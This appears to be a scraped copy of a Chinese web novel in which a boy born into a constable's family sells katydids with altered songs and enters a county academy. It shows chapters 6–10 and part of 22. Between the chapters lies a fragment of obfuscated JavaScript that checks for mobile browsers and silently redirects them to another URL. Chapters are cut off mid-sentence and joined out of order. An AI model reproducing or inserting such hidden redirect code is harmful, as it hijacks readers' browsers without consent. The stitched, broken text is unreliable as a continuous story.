那是一位穿着素净青衿的少年,十一二的年岁,唇红齿白,长得很斯文。 沈持整整衣衫走上前跟他搭话:“这位兄台可是在青瓦书院念书?” 少年看了看他,神情松弛,拱手说道:“嗯。” 沈持还礼:“不知书院的先生怎么个收学生的法子,能否向兄台讨教一二?” 少年听他讲话温和有礼,笑道:“孟先生收学生从来不挑资质,从八岁到十五岁的都收,家中付得起束脩便可。” 青瓦书院的院长叫孟度,有举人的功名在身,禄县人人都知道他。 当朝曾颁布“令民间子冀盼八岁以上、十五岁岁下,皆入社学。②”的规定,各地的书院皆以八岁至十五岁为收学生的年龄标准,古人习惯说虚岁,周岁的话则是七到十四岁。 沈持思忖着,当朝的入学年龄比后世的六周岁还要晚一年呢,不过他下下个月就满七周岁够着了。 少年打量着他的身量:“小郎君你几岁啊?若是不足八岁,等长长再来不迟。” 沈持笑道:“下下个月就满八岁了。”他作揖谢过少年:“多谢兄台告知。” 赶紧回家收拾收拾拿着银子来入学吧。 少年又笑道:“那正好赶上八月暑退后入学。” 八月暑退,秋高气爽时节,正宜开蒙读书。 沈持没想过入学节点的问题:“……” 哦,对,还不是随时想来就能进来的,要等“开学季”。他想起之前打听的,“正月农事未起,八月暑退,以及十一月砚冰冻时。③”,一年中的正月、八月、十一月农闲时才是当朝的“入学季”,眼下是五月,还要等上三四个月。 到了七月底,青瓦书院才招收新生,八月初才正是开学呢。 相互问过名姓,得知少年叫江载雪,沈持觉得这名字十分秀雅,很衬他的气质。想要多攀谈几句,抬头一看天色不早,这个点,他爹都该从县里回家了,要是他还没回去,他娘得急成什么样子,沈持赶快跟他作别往回赶。 路上,他走的太快,险些撞到一个小贩的草垛子,上面挂满了草编的蝈蝈笼,里面装着一只只“极——极——”叫的蝈蝈。 沈持看着密密麻麻的蝈蝈笼子,眼睛倏然一亮——蝈蝈的叫声不是从嘴里出来的,而是靠上翅膀和下翅膀的高速振动发出来的…… 他在心中自嘲:物理瘾发作了。 “6文一只,买一只吧。”小贩招呼他。 沈持丢开振动的物理问题,摆摆手,加快步伐。 刚走到清镇,就听见一 7. 第 7 章 《穿成捕头之子的科举路》全本免费阅读 沈持没想到他这么尊重朱氏,在古代的男子中倒是少见,赶紧点了点头。快到村头的时候,沈煌说道:“以后你去青瓦书院念书,里头的学生多数家境好,有不少富户出身,万不要与他们攀比才好。” 要是比吃穿用度,他无论如何都是供不起的。 “爹放心,”沈持认真地说道:“我不与人攀比的。” 沈煌点点头,听到青瓦书院要到七月底才招收学生,还有三个来月的时间呢,他道:“还能玩一段时日。” 沈持哭笑不得,快到家门口的时候,他问:“爹,这件事要怎么对我爷说呢?” 沈煌被他问的一愣,想了想说道:“说你不去苏家私塾,不劳他操持上学的事就行了。”至于去青瓦书院念书的事,还在打算中没有成事,则没必要跟沈家人说。 事先抖落出去,以大房和三房的性子,还不知道生出什么是非来呢。 “好嘞,”沈持道:“我知道了爹。” 到了家,朱氏红着眼圈,抄起擀面杖在他身后打了两下:“为什么这么久才回来。”知道她等的有多着急吗。 她打得他生疼,沈持“哇”的一声本能地哭出来:“娘,娘……” 沈煌看不下去,把她拉起来:“阿池喜欢青瓦书院,在那边多逗留了会儿。” “青瓦书院?”朱氏问他:“县里的那家书院?”青瓦书院非常有名气,连她都听说过。 沈煌点点头,把方才在路上父子俩的话跟朱氏大致说了说。 “爹都跟人家苏家私塾说好了的,”朱氏不满地瞪了丈夫一眼:“他去县里看书院是个什么事儿,咱又上不起。” 沈持这会儿心智压制住不到七周岁小童的本能反应,抹干眼泪说道:“娘,我要去县里的书院念书。” 朱氏想着书院的束脩,肉疼地咬牙:“阿大阿二和阿秋都去私塾上学,你凭什么去县里头的书院?” 沈持一时不知该怎么说服她,只好抱着她撒娇:“娘,我喜欢书院。” 沈煌这时说了句有用的话:“青瓦书院看似比私塾每年贵4两银子,但孟先生年纪轻轻高中举人老爷,想是极会念书的,阿池要是能得到他的教导,或许能读出个名堂来。” 他此刻看着沈持,想着他要是能考中个童生也不枉上学一场,至于秀才、举人什么的,他不敢想。 听丈夫这么一说,朱氏的气消了一半:“可是……”她又一想,银子哪有阿池的前程要紧,于是心一横说道:“行,他爱去书院就送他去书院。” 大不了一家人每年节衣缩食把这4两银子给省出来。 “谢谢娘。”沈持说道:“不过,书院要等着七月份才收新生呢,还有3个月的时间,以后我帮你干农活儿吧。” 朱氏听到这话又犹豫了:“可是过几天就要带着阿大他们去私塾了。” 昨个儿沈山叫人从县城捎回来4条腊肉,想是要送给苏先生的。 当朝拜师,除了一年的学费银子之外,还要在头一次见面时给先生送一条腊肉和一捆芹菜。据说孔子当年收学生是以腊肉作为束脩的,当朝还保留这一习俗,芹菜则寓意学生勤奋念书之意,是仪式感,也图个好兆头。 私塾不拘泥时节,只要有学生,什么时候往里面送都行。 人家比沈持早开蒙三四个月呢。这么长时间,等到阿池去县城上学的时候,阿秋他们都能提笔写字了吧。 沈煌说道:“磨刀不误砍柴工,阿池八月份再上学不迟。” 这三个来月他还能攒攒银子呢。 朱氏想了想,同意儿子去县城的青瓦书院念书。 沈持深深地松口气,没想到他爹娘就这么轻易答应了他去青瓦书院念书。她娘末了交代他:“暂且不要说出去。” 一家人商定好他去青瓦书院念书之前对此守口如瓶。 当日吃哺食的时候,沈煌跟着沈山走到堂屋,小声说道:“阿池明日不同爹一块儿去苏家私塾上学,我们另有打算。” 沈山愣了一愣,问他:“你打算让阿持习武?” 沈煌没说是,也没说不是。 谁知父子二人的谈话被大房杨氏听墙角听了去,以为二房不送沈持去念书了,当即嚷嚷道:“哟,二弟好歹是吃皇粮的人,比咱还舍不得花银子呢。” “这是不送阿池上学了?”她看着朱氏,心道:瞧那狐媚样子,年年要添新衣裳,都穿自己身上了,儿子身上却连上学的钱都舍不得。 三房的张氏更要瞧二房的笑话了:“还是阿池懂事,留着银子给阿月看病呢。” “可不是,念书哪有治病要紧……” 杨氏火上浇油:“阿池是个懂事的孩子,知道心疼他妹妹。” 又提沈月是哑巴的事。 大人说话,沈持不能插嘴,他看着沈煌,这个向来温和隐忍的男人被扎中心窝,他黑着脸扫过沈文和沈凉二人:“大哥,老三,我平素在家的时候少,阿月还小,你们做长辈的该有个长辈的样子。” 张嘴闭嘴的“哑巴”,哪里有个做长辈的样子。 他甚少用这种语气对他们说话,沈文、沈凉同时一惊,不约而同看着自家婆娘,眼神厌恶而又发狠,这一眼便让嘴碎的女人们安静下来。 她们自知过分了,纷纷低头往嘴里抿饭。 朱氏却看着不以为意,始终面带淡淡笑意:“这念书啊,念好了能有大出息呢。”她扫过沈全等三个侄子:“你们去了私塾可要好好的念书,早早给家里拿个功名回来才是。” 说得仨人都低下头,心中怯怯的,尤其沈正恨不得哭出来,他昨日一进苏家私塾就头晕,根本不想上学。 沈山扫过两个儿媳妇一眼,她们都低下头,把更刻薄的话咽了下去。 “要我说呀,”老刘氏看着沈煌,眼中比平时多了些许光彩:“让阿池拜个师傅学一阵子拳脚,过几年你带着他在衙门的头儿跟前混个脸熟,说不定长大能跟你一样去衙门当差呢。” 不见得一定要花银子去 8. 第 8 章 《穿成捕头之子的科举路》全本免费阅读 当晚,老刘氏小心翼翼地片下来四五片薄薄的白花花油的腊肉,心疼地炒了一盆子从地里挖来的鸡毛菜。 自打春节之后许久没有吃过有油水的饭了,这下合了全家人的胃口,全是沾了沈持的福,高兴得沈凉一把捞起他抱在怀里:“你小子有本事啊。” 他都没让沈家买过腊肉炒菜吃呢。 沈持在心中苦笑了笑,他都没想到还有这般戏剧效果。 进入五月中,清风越发无力屠热,酷暑来了。趁着白天还能出门,沈持和乡村的孩童在溪水边疯跑嬉戏,玩得不亦乐乎。 不是他贪玩,而是他上辈子吃够了体弱多病的苦,这辈子,沈持太渴盼身强体壮,一有时间便在乡间跑跑跳跳晒太阳滚草地,生怕身体长不结实。 沈家的两个妯娌端着木盆在水边浣洗衣裳,杨氏朝张氏努嘴笑道:“阿大和阿二还有阿秋大概上学了,也不出来瞎玩了,稳重好多呢。” 入了私塾后,沈全他们几乎不再出门玩耍。 “那可不嘛,”张氏轻蔑地瞧了一眼疯玩的沈持,笑中带着几分得意:“到底是念书的人了。” 她心道:二房真是糊涂,这年头,读书能考科举,考秀才考举人,比学拳脚日后去当衙役有出息多了。 过几年等她的阿秋考上童生,让二房羡慕后悔去吧,她在心里头美滋滋地想着。 沈持全然不知她们在笑话他,等他撒欢累了便跑回家中。 庭院中,恰好沈山闲着,他手里拿着秸秆,捣鼓着在编东西,沈月在他旁边伸手抓了一根,他忙说道:“乖阿月,爷爷给你编个蝈蝈笼,抓个蝈蝈放进去听叫好不好?” 蝈蝈笼。 上次去县城看见卖蝈蝈的记忆从沈持的脑海中一闪而过,他进屋喝了半碗凉白开解渴,蹲在地上看着沈山手指灵活地编了个蝈蝈笼子,若有所思:“爷,我上次在县城看见有人卖蝈蝈,6文一只呢。” 农历的5、6月份,村里好多顽童手上都会拎着秸秆编的蝈蝈笼子,里面装着蝈蝈,随着他们的奔跑,笼子里的蝈蝈“极——极——”叫得欢快。 沈山晓得县城有卖蝈蝈的,撅了撅胡子说道:“都是哄小孩子钱的,大人嫌叫得聒噪呢,也就你们小孩子偶尔听几声新鲜新鲜。” 沈月在家里无趣,他想给她找个乐子。 大人可受不了耳边一天到晚“极——极——”地吵个不停。 沈持:“……” 那日在县城看见卖蝈蝈的小贩时,他一眼扫去,围着小贩挂满蝈蝈笼草垛张望的还真是一群小童,他们身后的大人兴致缺缺,懒得看一眼。 沈山编好八角蝈蝈笼,带着沈月去地里捉了只深碧色的蝈蝈放进去,给她听叫。 那是一只雄蝈蝈,大约这个季节是昆虫的求偶期,它卖力地用两叶前翅发出尤为响亮雄浑的音色“极——极——”,靠近了震得人耳膜发疼。 沈月却喜欢的紧,一直玩到睡觉前才把它挂在屋檐下。 当晚格外闷热,沈持睡得浅,到了后半夜,他被屋外蝈蝈的叫声吵醒,心中笑道:果然呱噪。这时,蝈蝈好像故意气他似的,憋足了气力叫着:“极——极——” 困得要命却无法安睡的沈持:“……”他睡眼惺忪地走到廊檐下,把蝈蝈笼摘下来,然后打开笼子,从中拿出蝈蝈,翻了翻它极速振动的羽翅,陷入沉思。 这么薄的翅膀,要是在上面加点重量,它还能振动得这么快吗? 没有这么快的振速,还能有高亢的叫声吗? 沈持找来一截白蜡烛,点着了,头朝下把烛油滴在蝈蝈的翅膀上,一滴两滴三滴……一共滴了7处。 等他吹干的烛油,再次把蝈蝈放进去笼子的时候,安静了好一大会儿。 沈持:被点哑穴了吧。嘿嘿,跟我斗,你还嫩着呢。 吹灭蜡烛,他又把蝈蝈笼子挂在廊檐下,想着等到明日白天,把蝈蝈身上的烛油抠掉,它又是一条好汉,啊不,一只好蝈蝈了。 沈持得意地又回去睡下。 这一觉睡得香甜,到天大亮才醒来。 一睁眼对上一双如点漆的眸子,沈月正站在床头对着他笑,手里提着蝈蝈笼晃了晃。沈持立马坐起来,歉意地说道:“不会叫了是不是?哥哥这就给你……” 给你解开蝈蝈的哑穴。 “唧唧——”蝈蝈立刻给他醇美悠扬地叫了声。 沈持:“……”这声音有几分悦耳。 沈月对他比划着:我的蝈蝈叫的真好听,像在歌唱。 沈持忽然想到上辈子去从花鸟市场路过的时候看见有人卖蝈蝈,是放在葫芦里卖的,青湛碧绿的大蝈蝈,好几只挂在一处,叫起来像是在演奏交响乐,非常动听——他以为那是蝈蝈原本的叫声呢,现在想来,是和他一样人为地用手段改变了蝈蝈的叫声。 想到这儿,他的脑子里火速关联,忽然浮光掠影中有一本随手翻看的书——《玩虫》,记不得是什么年代谁写的了,只知晓里面讲的玩虫是自宋开始,在民间兴起的斗蛐蛐,养蝈蝈听叫儿的虫戏,纨绔或是市井小老百姓闲时聚在一处找的乐子。 他心想:县中卖 9. 第 9 章 《穿成捕头之子的科举路》全本免费阅读 五月是农忙时节,沈家有五六十亩的农田,都种了麦子,正是收获的季节。但是前年、去年年景都不算好,靠天吃饭的古代人能从土地里取得的财富是很微薄的,但是又没有什么可以替代农业,也只好守着微薄的收入,能吃饱饭就算好的年景了。 今年年景稍稍好一些,在小麦收割之前没有下雨,没有极端天气,想来上天今年要没玉村的人吃饱饭。 沈家欢欢喜喜准备割麦子。 沈家的劳动力充裕,沈山能干,沈文干农活也是一个顶两个,各房的媳妇儿们也下得地里,往年从来没有让孙子们下过地,现如今他们要去念书,大人们更舍不得了,怕晒黑了入学后被城里的同窗嘲笑。 沈持不在乎这个,他对朱氏说:“阿娘,今年我跟着我爷去田里收割麦子吧?” 他意不在割麦子,而是想去试试怎么能又快又好地捉蝈蝈。毕竟想要售卖蝈蝈的话,先得能抓住蝈蝈。 朱氏说道:“衙门里自有敬重你爹的,趁着夜里巡逻到这边的时候就给咱们收割了。” 再有沈文搭把手,这个农忙的季节就算过去了。 沈持说道:“阿娘,我闲着也是闲着。” 朱氏拿他没办法:“你跟在你爷后面比划两下就行,日头大了,就赶紧回来。” 沈持抱着镰刀跟沈山出门。 沈山看见他头一个跟自己出来下地干农活,高兴得合不拢嘴:“阿池眼里有活儿,真懂事。” 他终于想明白为什么苏秀才独独夸阿池了,这孩子是有一些讨喜。可惜他偏偏不爱读书,唉! 爷俩儿到了田里,沈山拽过一把麦穗搓了搓,颗粒饱满——麦头熟颗已如珠,正正好该收成了。 下地后,沈持却学着沈山的样子抓起一把麦子,用镰刀往怀里一搂——喀、喀两声,带着麦穗的秸秆就到了他手里,他码整齐放在一侧,又去割另一丛…… 干得像模像样。 他一边干活,一边留意眼前跳来跳去的虫子。蝈蝈呢,蝈蝈在哪儿。 “啪!”当他又一镰刀搂下去的时候,倏然眼前绿光一闪,一只硕大的蝈蝈撞到他额上,留下浓重的青草气息,又无比仓皇地逃走了。 沈持放下镰刀抹了抹额头:“爷,蝈蝈好捉吗?” “只要用点法子,”沈山也放下镰刀来休息:“一抓一个准。” 沈持:“爷,你教教我怎么抓蝈蝈好不好?” 沈山笑呵呵地说道:“等歇晌的时候,爷给你抓几只,玩个够。” 不单会抓蝈蝈,他还会用秸秆编两层、三层的蝈蝈笼呢。是时候向孙子炫一炫了。 收工回去前,沈山搓了一根草绳,他钻进麦田另一侧的粟米地里,展示出他盯梢、抓捕的高超手艺,当再出来的时候草绳上栓了十来只蝈蝈:“阿池,这一串够玩了吧?” 他难得有兴致陪孙子玩一回,索性盘腿坐在麦垛上,抽出新割下的秸秆编蝈蝈笼,不大一会儿,宝塔形的,圆形的,四方形的……蝈蝈笼一字完工,一字摆开搁在沈持面前:“我的手艺怎样?” 沈持眯了眯眼:“爷你真是遗落在民间的能工巧匠。” 沈山拍了他一巴掌,眼角叠起褶子憨笑道:“乖孙子你就哄我吧。”越看越觉得沈持这个孙子顺眼,他捏起蝈蝈要往里笼子里面装,沈持连忙说道:“爷,等等再让他们住单间。” “好,好,”沈山惦记着地里的活儿,没心思再陪沈持玩下去:“太阳大了你回去吧。” 小娃儿吃不住大太阳晒。 沈持提着一串蝈蝈和蝈蝈笼,返回家中。家里静悄悄的,他进屋把蝈蝈挂在窗边,而后揣了几个铜板出门,直奔村头的药铺。 朱砂、松香和蜂蜡在这个朝代并不难买,也不是多贵重的药材,他很顺利地各买了3钱。 当朝还没有克数的概念,一般的药材以“钱”或者两来称重,一钱大约有3克多一点重。 恰好药铺这会儿没生意,掌柜耐心地给他研磨成粉末:“阿池买这些药做什么用处啊?” 沈持一时语塞:“……” 不知道该找个什么样子的借口。 药铺掌柜:“是你娘让你来买的吧?给你妹妹治病的?” 沈持硬着头皮说道:“我也不清楚。” 药铺掌柜摇摇头:“唉。”沈煌也是可怜,生的女儿是个哑巴。村里没有秘密,谁家丁点儿小事全村人都知道得一清二楚。 沈持瞧他手边的戥秤,便是能精准到“钱”的一种秤,问道:“掌柜你这把秤多少钱买的啊?”给蝈蝈点药,少不得需要一个来配药用。 药铺掌柜诉苦道:“这是我花了16文买来的,才用没多久便坏掉了,唉。”他准备扔掉了。 沈持瞧着修一修还能用,正愁去县城买一把要不少钱呢,说道:“能给我吗?” 药铺掌柜想也没想:“拿去拿去。” 他以为小孩子要玩。 沈持欢欢喜喜地连带着戥秤一块拿回家,他动手能力强,很快把它给修好,放买来的朱砂调准精度,很快能对付着用了。 还缺一根给蝈蝈点药用的针。 像这种要在火上烧融化滴落在蝈蝈翅膀上的,用银针最好,其次是铜针,这两样他们家都没有。 他只好拿了朱氏的一根缝衣针磨了磨来试。沈月看见了过来给他打下手。 沈持挑起一点粉末,放到油灯上烧了烧,融化一些后又沾了些许粉末,反复几次,针尖上总算凝了一个小米粒大的药,他解下一只蝈蝈来,捏住后腿按着脖子,登时翅脉清晰可见。右手拈针在火焰中一过,放到蝈蝈的翅膀上方急速直立,药滴下去即凝固,宛如小红珠镶嵌在蝈蝈绿色的翅膀上,风雅又好看,按照圈好的地方一个个点过去,沈持越发眼明手快,点好七处后,沈月把蝈蝈放进笼子里,抬起脸蛋看着沈持:蝈蝈怎么不叫了? 沈持:“它还没适应,一会儿就叫了呢。” 沈持又琢磨 10. 第 10 章 《穿成捕头之子的科举路》全本免费阅读 沈持说道:“要是卖不出去,就没人做这个营生了。”多少还是有人买的吧。 “阿娘,你和阿月先去转转,一会儿我去找你们。”他说。 朱氏:“你别乱跑。” 沈持:“阿娘放心吧,县城巴掌大的一片地方。”横竖他爹还在四处巡逻呢。 禄县统共就两纵两横四个街道罢了。 “口气不小呢,”朱氏笑吟吟地说着:“行,一会儿阿娘在前头的糖水铺子那边等你。” 说定之后,沈持把他自己做的把式组装好,就一根与他差不多高的木头,上面楔着几个小棍,他把六个能叫出憨声的蝈蝈挂在顶端,酝酿几次才吆喝开:“绿美人——会在书案唱曲儿伴读的绿美人——” “宜其子孙,振振兮的螽斯——” “碧纱窗外静无人,闻君声过好相宜①的大蝈蝈——” “……” 他换着方子走街串巷地叫卖。 一开始哪有人理他,沈持走街窜巷,后来有两个顽童跟在他身后傻傻拍手:“好听,好听——”头顶赤日炎炎,脚底板走得生疼,迈一步像被火灼般痛,他闷声道:“嗯,好听着呢。” 两个顽童竟然跟着蝈蝈的叫声有节奏地舞起来,左三圈右三圈,叉腰,抬腿……。又跳又唱,好不欢乐,孩子们的欢乐感染了路人,他们停下来看热闹:“咦,这是蝈蝈吗?” 沈持赶紧给大伙儿介绍:“是蝈蝈,会唱曲儿的蝈蝈儿。” 蝈蝈也很给力,他话音一落,六小只发出此起彼伏的憨叫。 众人越听越觉得好听:“这个叫的好。” 围观的人多了,终于等来有人问价:“小兄弟,你这蝈蝈多少钱一只啊?” 沈持说道:“今日开张图个吉利,便宜卖了,8文一只。” “这可不便宜,”有人立马反驳他:“别人那里才6文一只。” 沈持笑道:“这位大哥是愿意听‘极——极——’的叫声呢,还是愿意听我这蝈蝈唱曲儿呢?” 这人还算厚道:“还是你的蝈蝈叫的好听。” 而真心想要买东西的人从来没那么多废话,头一个问价钱的人说道:“7文能卖不?” 沈持眨了下眼睛:“郎君,开单的生意,我图个吉利,给8文好吗?” 他说完下意识地脸面涨红,没有叫卖经验,脸皮真是薄得不行。 那人笑了笑,从荷包里取出八个铜板给他:“好吧,给你。”收了铜板,任人家挑选了一只蝈蝈带走,这买卖算是开了张。 卖出去这一只,把他买蜂蜡和松香、朱砂的钱赚回来了,余下的五只,只要卖出去一只,到手的钱算净赚。 在逐利的驱使下,沈持鸡血满满地继续沿街花式叫卖蝈蝈,把他肚子里的那点儿文采全掏出来了。 很快,下一位顾客叫住了他:“小郎君,你这蝈蝈一直都是这么鸣唱的吗?” 问询的是一位清俊的儒生,白面微须,一双桃花眼带些许忧郁,看起来三十岁出头的模样。 沈持说道:“是的。”看这人的年纪,想是成家了,于是他吆喝道:“螽斯振振,瓜瓞绵绵②。郎君来一只放在书案上听叫吧?” 那儒生探究地向蝈蝈笼子里看去:“我还从未听过蝈蝈这般鸣唱。” “郎君要是需要,我还能让他模仿青蛙叫呢。”沈持说道。 儒生说道:“哦?” 沈持:“郎君不信?” 儒生指着其中的一只说道:“这样,我买下这只,你帮我让他叫出青蛙的声音怎样?”毕竟喜欢蛙鸣的极少数的人,不能提前让人家改了卖不出去不好。 沈持觉得他可真诚实,挑了一只最强壮的:“郎君瞧瞧这只如何?” 儒生点点头:“就这只。” 沈持拆开笼子从中取出蝈蝈,把翅下的暗点挪了挪地方,而后放回蝈蝈笼:“等一会儿听听。” “你几岁了,念书了吗?”儒生问他,看着沈持的个子,正是该考虑念书的岁数了。 沈持:“有打算去念书。” 儒生正要开口,蝈蝈忽然发出一声低低的“呱”鸣,很是清脆。 “听,叫了叫了。”沈持暗暗得意。 儒生笑了:“原来蝈蝈的叫声是可以操纵的啊。”他不问沈持是怎么做到的,毕竟这是人家谋生的路子。 沈持做完他的生意,没想到男子竟不打算离去,还要跟他唠几块钱儿的:“打算去哪儿读书呢?” 沈持被他一问,瞬间如醍醐灌顶般,他放下蝈蝈笼子对着儒生施礼:“您是孟度孟先生吗?” 他忘了,前头那条街朝外面的就是青瓦书院,从那个方向走过来的,看这年龄和气度,不是孟度又会是谁呢。 “是我,”孟度微愕之后点点头:“你小子很机灵啊。” “谢谢先生夸奖。”沈持说道:“先生放学了?” “嗯,青瓦书院……”孟度有种想要给他推销一番的强烈念头:“你听说过吗?” 沈持恭敬地答道:“在禄县,有谁不知青瓦书院和孟先生呢。” 孟度提蝈蝈笼子的手背到身后:“书院七月底招生。” 沈持的眼睛亮晶晶的:“孟先生,我晓得。” 孟度微微一怔,他从沈持的眼神中看出来,这孩子会来青瓦书院念书,他扬眉微笑,用手指勾着蝈蝈笼子,步伐愉快地走了。 沈持换了个地方叫卖,好半天,迎来了下一个金主。但这金主有点难缠。 一上来便把余下的四只蝈蝈都搁到耳边听了够,问东问西的,足足磨够半个时辰的功夫,又开始还价,把沈持的耐心消磨殆尽,但他还得笑脸相迎:“……有条件的喂虫子喂新鲜的菜叶子,能活九十天左右吧……” “这要是活到八十九天断气了,小郎君给退钱吗?” 沈持:“……”他想了想:“要是活到九十一天,郎君给补钱吗?” 那人略笑了笑:“实在是喜欢这叫声,小郎君,你明日还来这里卖蝈蝈吗?” 沈持:“……”还想白嫖听他的蝈蝈声儿,没门:“明日在家中编蝈蝈笼,不出来。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12659228|133570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一上来就是一堆人在排队,每个人到了跟前也不磨蹭:“来个猪肘子。”甚至还有人“来两个猪肘子。” 好红火的生意。 他站在不远处看人家排队买猪肘子,看了一会儿,忽然发现顾客之中有几个熟悉的身影,正是那几个是上舍班的考中童生的…… 看样子家境比较殷实,买个猪肘子回家下饭或者下酒是寻常事。 这卖猪肘子的生意做的真不错。 沈持打听了一下,要112文一只。看外皮烧得还算肉酥皮软。有人拿到肘子就迫不及待地咬了一口,吃到嘴里露出心满意足的表情,看起来十分……好吃。可是猪肘子一出锅就食用并不十分好,将蒸好的肘子晾凉后切成薄片,这样吃起来口感更加细腻。 他想买一只回去尝尝,究竟有多好吃。可是他一个人吃一个大肘子似乎又有些浪费,于是盘算:等下次回家的时候来买个带回去和沈月一块儿吃。 甚至问问店家能不能卖半个的。 沈持站在那边看了半天,好几个顾客买到手就啃起来,他时而摇摇头。 有位微胖的男子正要下嘴,瞥见沈持摇头,不悦地说道:“小郎君,你摇头做什么?” “郎君,刚出锅的酱肘子并不是最美味的,”沈持说道:“要是拿回家放凉一些,而后切成薄片,搭配上酱菜,蒜泥,黄瓜一起吃,口感会多样些,亦或配上一口柔和的白酒,更能吃出酱肘子的香、鲜、嫩、甜呢。” 男子笑道:“小郎君说的好,我这就回家试一试。” 就着红烧肘子小酌两杯。 沈持又看了几家做的凉拌菜,这里没有专门卖凉拌菜的摊位,都是搭配着肉菜一起卖的,看着卖得好的小菜,他记在心里。 有几样不花时间又省钱的,他特地买了两碟子来,尝尝味道,也当今日的哺食了。 一圈转下来差不多花了一个半时辰,走得鞋底子都薄了,沈持赶紧煮碗米饭——配着买来的两样小菜吃饭。 凉拌菜的味道很一般,苦味没拔掉,还不如他奶老刘氏的手艺呢,沈持头一次剩菜。 因而他只吃了五分饱。 回到宿舍,天光还亮着,他倚在窗边看了会儿书,许是走路走累了,傍晚自己去烧水洗脚,而后躺下很快睡着。 尽管床板硌得背疼。 早上跟往常一样的点醒来,书院里落了一阵初雪,地上有鸿爪的印记。神清气爽,他温了几页《千字文》。 晨起没有什么可做的,沈持花几个铜板在外面买了稀饭和包子,也不算好吃,大概自古美食都藏在深深的巷子里,容易找到的都不怎么好吃,好吃的都要花费一番心思去寻找。 回到书院又洗了把手脸。 沈持拿书本去教室,走到前院的时候,听到一阵哄笑声。 他加快脚步去凑热闹,看了一眼蒙住头立刻跑,不好,鸫风快递来了。他们正气势汹汹地盘旋在空中,追着一个蒙童飞,尾翼微张,随时准备执行。 那个倒霉孩子正是江载雪。 22. 第 22 章 沈持跑了几步又掉头回来,拿方巾扔进被几只黑鸫低空盘旋围着的江载雪:“包住头,快跑。” 江载雪那个后悔又狼狈啊。 怪他没听沈持的话,黑鸫果然记住他了,还摇来几只同伴一起甩秽物给他。他今天一出门就被这群黑鸫给盯上了,一路尾随,还专门等到他进书院才开始甩,故意要他在同窗面前丢丑。 这鸟太坏了,他屏住气蒙住头往水井边上跑。 沈持等他跑了,赶忙去捉了一把虫子往天上撒,嘴里念叨:黑兄,看在美食的份上咱消消气好不好? 黑鸫见他乖巧懂事,吃下虫子才收住武器,没有发癫攻击他。 “我以后每日捉虫孝敬你们好不好。”沈持低声下气地哄鸟儿。 黑鸫也不知道听明白没有,围绕着他叽叽喳喳,吃完他手里的最后一条虫子,一只两只犹带着怨气地飞走了。 沈持如遇大赦,眼前一黑,险些激动得晕过去。 周渔笑得前仰后合:“沈持,江载雪,你们没事招惹它做什么?” 书院还是头一次被黑鸫找上门复仇,他好稀奇,忍不住大笑。 沈持:“……” 江载雪简单冲洗了一下,身上的衣服换下来不要了,而是回去取了一套熏香的换上,饶是隔着大老远都闻到他身上香囊的味道了,他还是受了刺激一般一会儿低头嗅嗅自己身上,一会儿嗅嗅。 沈持:“江兄,你现在很香的。” 黑鸫也没有甩到他身上,今天大概率是来吓唬人的。没动真格的,大概江载雪是被他先入为主给吓到了。 这老实孩子。 “黑鸫很聪明的,它们这次是来谈判的。”沈持说道:“它们想跟我们和谐相处,井水不犯河水。” 它们一支或是几支在青瓦书院繁衍生息好几年了,不会轻易跟这里的师生结仇,深知冤家宜解不宜结的道理,就是来吓唬吓唬江载雪,警示孩童们不要手欠动他们的窝。 江载雪小心眼地说道:“哼,看我不找几只狸奴来抓它们撕了吃了。” 没怎么吃过亏的富家公子气不过,实在是太气不过了。 “江兄万万不可,”沈持被他的豪言壮语给吓到了:“猫咪,狸奴也不敢惹它们。”黑大佬不是白叫的。 岑稚在一旁拱火:“那这次就白被它们吓着?” “你们跟它一个鸟儿计较什么。”沈持:“过几日我炖个酱肘子请你吃,怎样?”他昨日去巷子里逛了一逛,也馋酱猪肘了,等省几日花销攒下铜板买一个生猪肘子来,佐些冰糖、香料、豆瓣酱炖了,与巷子里排大长队的比高低。 这才把江载雪哄好。 次日他鬼鬼祟祟遮着脸进的书院,看见沈持往他身后一躲:“沈兄,今天黑鸫不……不来了吧?” 沈持:“我晨起孝敬了他们几条虫子,看样子很满意,应该不来找我们了。” 江载雪捂着心口:“甚好甚好。” 那件事可算是过去了,他以后看见鸟窝,哪怕是金子搭建的,他都得绕着走。 路过的同窗笑得声音很大。 …… 得知他住宿后,岑稚两眼微微放出光泽:“我每日放学走的晚,可以和你作伴。” 沈持亦很高兴:“说起来,我总算有机会向岑兄请教学问了呢。” 作为礼尚往来,他邀请岑稚在书院同他搭伙吃哺食。岑稚自然一口应下。 这日放学后,两人一道去宿舍。 沈持:“夫子说我的字还没有风骨,要练,岑兄能否帮我指点?”岑稚的字写得极好,他瞧了瞧沈持的书法,说道:“你写字的时间太短,尚没找到火候。” “还要多练?”沈持有点毛躁地问。 岑稚:“你们夫子去藏书阁借名家名帖来看了吗?” 沈持:“还没有。” “临书得其笔意,摹书得起间架,”岑稚说道:“我看你的字,还是看得名家名帖少了些,不如多去藏书阁看看,多看多悟或许能飞速进益。” 就说要先学会欣赏名家的字,知道人家写的好在哪里。“要多看帖,看名家的贴要从一点一画开始,仔细研究和琢磨用笔、章法、韵味,看到眼中,记入心中,才能流出手中,落于纸上。沈兄,共勉吧。” 沈持:“多谢岑兄点拨。” 江载雪听说他们放学后要结伴去练字,自己也痒痒:“横竖我回去也没什么事,也晚些回吧。” 他家离书院很近,只隔两条巷子。 就这样,他放学与江、岑二人结伴,寒冬腊月的天气,点一盆火,在宿舍里写字、念书。沈持还在习启蒙书,背《三千百》,而江、岑入学早,已经学《论语》了。 但免不了数九寒冬手上脚上生了冻疮,一热又痒得难受,后来去找郎中配了点猪胰子洗手,才缓和些。 眨眼宿在青瓦书院已月余,在这期间,沈持不仅书背得好,写字也见精妙。得到徐、周两位夫子夸赞多次。 然而树大了要招风。 同班的冯高和何九鸣愈发瞧沈持不顺眼,在功课上变着法子要压他一头,似有什么大仇一般。 沈持不爱生事,遂韬光避着他们,算是过了一段顺风顺水平静而学业蓬勃向上的日子。 眨眼到了年关二十五,隆冬岁末,该放假了。 